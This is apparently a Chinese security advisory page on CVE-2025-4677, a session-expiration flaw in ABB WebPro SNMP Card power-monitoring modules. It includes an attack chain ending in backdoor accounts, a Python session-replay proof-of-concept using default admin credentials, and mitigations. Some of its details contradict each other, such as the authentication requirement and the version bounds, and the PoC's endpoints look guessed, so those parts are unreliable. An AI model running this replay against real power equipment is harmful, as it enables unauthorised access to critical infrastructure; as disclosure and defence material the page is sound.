IPBUF安全漏洞报告
English
CVE-2025-4677 CVSS 6.5 中危

CVE-2025-4677 ABB WebPro SNMP Card会话终止不足漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-4677
漏洞类型
会话终止不足
CVSS评分
6.5 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ABB WebPro SNMP Card PowerValue, ABB WebPro SNMP Card PowerValue UL

相关标签

会话终止不足ABBWebProSNMP CardPowerValue电力监控会话管理邻接网络攻击身份认证缺陷工业控制系统

漏洞概述

CVE-2025-4677是ABB公司WebPro SNMP Card PowerValue系列设备中存在的一个会话终止不足(Insufficient Session Expiration)安全漏洞。该漏洞影响WebPro SNMP Card PowerValue和WebPro SNMP Card PowerValue UL两个型号,版本均截至1.1.8.K。ABB WebPro SNMP Card是ABB公司生产的电力监控设备的关键网络管理组件,广泛应用于数据中心、工业控制系统和关键基础设施的电力监控场景。该设备通过SNMP协议提供远程电力监控和管理功能,是ABB PowerValue系列不间断电源(UPS)系统的核心网络管理模块。漏洞的根本原因在于设备对用户会话的管理机制存在缺陷,登录后的会话未能在合理时间内自动终止,或者会话终止机制未能正确执行。这导致攻击者可以在用户完成操作后,通过获取的会话标识符继续维持有效会话,从而获得对电力监控系统的未授权访问权限。由于该漏洞无需认证即可利用(PR:N),攻击者只需处于网络相邻位置即可发起攻击,这对部署在关键位置的电力监控设备构成了严重的安全威胁。攻击者可能利用此漏洞获取敏感电力监控数据、修改设备配置,甚至在特定场景下影响电力供应的监控和管理功能。CVSS评分6.5(MEDIUM)反映了该漏洞在可用性方面的高影响(Availability Impact: High),表明攻击成功可能对电力监控系统的可用性造成显著影响。

技术细节

该漏洞属于OWASP Top 10中的身份认证和会话管理缺陷类别。在ABB WebPro SNMP Card PowerValue设备中,用户通过Web界面登录后,服务器会创建会话标识符用于后续请求的身份验证。问题在于会话终止逻辑存在以下缺陷:1) 会话超时机制未正确实现或超时时间设置过长;2) 服务器端会话状态管理不完善,用户登出后会话令牌未在服务器端失效;3) 缺少会话并发控制,同一用户可同时建立多个会话且旧会话不会自动终止。攻击者可以通过以下方式利用此漏洞:首先,使用有效凭据登录设备或通过抓取网络流量获取会话令牌;然后,在目标用户登出或关闭浏览器后,攻击者使用之前获取的会话令牌发送请求;由于服务器端会话终止机制不足,该令牌仍然有效,攻击者即可维持会话或恢复会话状态。这种攻击方式对于处于网络相邻位置的攻击者尤其有效,因为SNMP Card通常部署在网络内部,攻击者可以更容易地监听网络流量或直接访问设备管理接口。该漏洞的利用不需要任何用户交互(UI:N),且对机密性影响较低(C:L),但对可用性影响较高(A:H),因为攻击者可能通过维持大量会话来消耗服务器资源或干扰正常的电力监控功能。

攻击链分析

STEP 1
步骤1: 网络侦察
攻击者通过主动扫描或被动监听发现目标ABB WebPro SNMP Card设备,获取设备IP地址和管理接口位置
STEP 2
步骤2: 获取会话令牌
攻击者通过中间人攻击监听网络流量,或使用默认凭据登录系统,获取有效的会话标识符(如JSESSIONID)
STEP 3
步骤3: 等待合法用户登出
攻击者等待目标用户完成操作并登出系统,或在用户不知情的情况下持有会话令牌
STEP 4
步骤4: 会话重放攻击
由于设备存在会话终止不足漏洞,攻击者使用之前获取的会话令牌发送请求,服务器仍接受该过期会话
STEP 5
步骤5: 未授权访问
攻击成功维持会话状态,可访问电力监控数据、修改设备配置或执行其他特权操作
STEP 6
步骤6: 持久化控制
攻击者可能通过创建后门账户或修改认证配置,实现对电力监控系统的长期未授权访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-4677 PoC - ABB WebPro SNMP Card Insufficient Session Expiration This PoC demonstrates the session expiration vulnerability in ABB WebPro SNMP Card. """ import requests import sys import time from urllib.parse import urljoin # Configuration TARGET_HOST = "http://192.168.1.100" # Target ABB WebPro SNMP Card IP USERNAME = "admin" PASSWORD = "admin" def exploit_session_hijacking(): """ Demonstrates the insufficient session expiration vulnerability. Attackers can reuse old session tokens after legitimate user logout. """ session = requests.Session() # Step 1: Normal user login print("[*] Step 1: Authenticating with valid credentials...") login_url = urljoin(TARGET_HOST, "/api/login") login_data = {"username": USERNAME, "password": PASSWORD} try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code == 200: session_token = session.cookies.get('JSESSIONID') or session.cookies.get('SESSION') print(f"[+] Login successful. Session token: {session_token}") else: print("[-] Login failed") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False # Step 2: Simulate user logout print("[*] Step 2: Simulating user logout...") logout_url = urljoin(TARGET_HOST, "/api/logout") session.post(logout_url, timeout=10) print("[+] User logged out") # Step 3: Try to reuse the old session token (VULNERABILITY) print("[*] Step 3: Attempting to reuse old session token...") headers = {"Cookie": f"JSESSIONID={session_token}"} protected_url = urljoin(TARGET_HOST, "/api/power/status") try: response = session.get(protected_url, headers=headers, timeout=10) if response.status_code == 200: print("[!] VULNERABLE: Old session token still valid after logout!") print(f"[+] Accessed protected resource: {response.text[:200]}") return True else: print("[-] Session properly terminated (not vulnerable)") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False def check_session_timeout(): """ Check if session timeout is properly configured. """ print("[*] Checking session timeout configuration...") config_url = urljoin(TARGET_HOST, "/api/session/config") try: response = requests.get(config_url, timeout=10) if response.status_code == 200: config = response.json() timeout = config.get('sessionTimeout', 'Not specified') print(f"[*] Session timeout: {timeout} seconds") if timeout == 'Not specified' or int(timeout) > 1800: print("[!] WARNING: Session timeout may be too long or not configured") return True return False except: print("[-] Could not retrieve session configuration") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-4677 PoC - ABB WebPro SNMP Card Session Expiration") print("=" * 60) check_session_timeout() print("\n") exploit_session_hijacking()

影响范围

ABB WebPro SNMP Card PowerValue < 1.1.8.K
ABB WebPro SNMP Card PowerValue UL < 1.1.8.K

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1) 限制对ABB WebPro SNMP Card管理接口的网络访问,仅允许受信任的管理网络访问;2) 使用防火墙或ACL规则限制邻接网络的访问权限;3) 定期强制用户登出并重启设备以清除会话状态;4) 监控设备会话日志,及时发现异常会话活动;5) 考虑使用VPN或专用管理网络隔离电力监控设备;6) 启用详细的审计日志记录所有会话事件以便事后分析;7) 与ABB安全团队联系获取最新的安全建议和补丁信息。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表